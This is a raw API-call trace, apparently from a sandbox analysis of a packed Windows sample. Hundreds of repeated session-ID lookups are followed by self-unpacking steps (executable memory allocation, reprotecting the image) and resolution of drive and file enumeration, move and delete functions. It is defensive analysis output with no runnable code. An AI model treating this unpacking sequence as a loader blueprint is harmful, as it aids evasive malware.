pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.126] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.127] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.128] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.129] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.136] lstrcpyW (in: lpString1=0x43b488, lpString2="Virtual" | out: lpString1="Virtual") returned="Virtual" [0029.136] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0029.136] VirtualProtect (in: lpAddress=0x33e7578, dwSize=0xe628, flNewProtect=0x40, lpflOldProtect=0x18f2d8 | out: lpflOldProtect=0x18f2d8*=0x4) returned 1 [0029.138] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0029.138] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0029.138] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0029.138] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0029.138] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0029.139] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0029.139] GetProcAddress (hModule=0x76c20000, lpProcName="Module32First") returned 0x76cb5cd9 [0029.139] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0029.139] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x44 [0029.141] Module32First (hSnapshot=0x44, lpme=0x18f04c) returned 1 [0029.141] VirtualAlloc (lpAddress=0x0, dwSize=0x16c50, flAllocationType=0x1000, flProtect=0x40) returned 0x20000 [0029.145] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0029.145] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0029.145] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0029.145] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0029.145] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0029.145] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0029.145] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0029.145] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0029.145] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0029.145] SetErrorMode (uMode=0x400) returned 0x0 [0029.145] SetErrorMode (uMode=0x0) returned 0x400 [0029.145] GetVersionExA (in: lpVersionInformation=0x18df7c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x3, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18df7c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0029.145] VirtualAlloc (lpAddress=0x0, dwSize=0x15e00, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0029.147] VirtualProtect (in: lpAddress=0x400000, dwSize=0x18000, flNewProtect=0x40, lpflOldProtect=0x18f004 | out: lpflOldProtect=0x18f004*=0x2) returned 1 [0029.151] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0029.151] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0029.151] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0029.151] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0029.151] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0029.151] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0029.151] GetProcAddress (hModule=0x76c20000, lpProcName="GetDiskFreeSpaceExA") returned 0x76cb434f [0029.151] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameA") returned 0x76c4b6e0 [0029.152] GetProcAddress (hModule=0x76c20000, lpProcName="ExitThread") returned 0x7718d598 [0029.152] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0029.152] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0029.152] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0029.152] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0029.152] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0029.152] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0029.152] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0029.152] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiW") returned 0x76c4d5cd [0029.152] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForMultipleObjects") returned 0x76c34220 [0029.152] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0029.152] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0029.152] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0029.152] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0029.152] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0029.152] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0029.152] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0029.152] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0029.153] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0029.153] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0029.153] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0029.153] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0029.153] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0029.153] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0029.153] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0029.153] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0029.153] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0029.153] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0029.153] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0029.153] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0029.153] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0029.153] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0029.153] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0029.153] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0029.153] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0029.153] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0029.154] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0029.154] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0029.154] GetProcAddress (hModule=0x76c20000, lpProcName="SetHandleCount") returned 0x76c3cb29 [0029.154] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0029.154] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0029.154] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0029.154] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0029.154] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0029.154] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0029.154] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 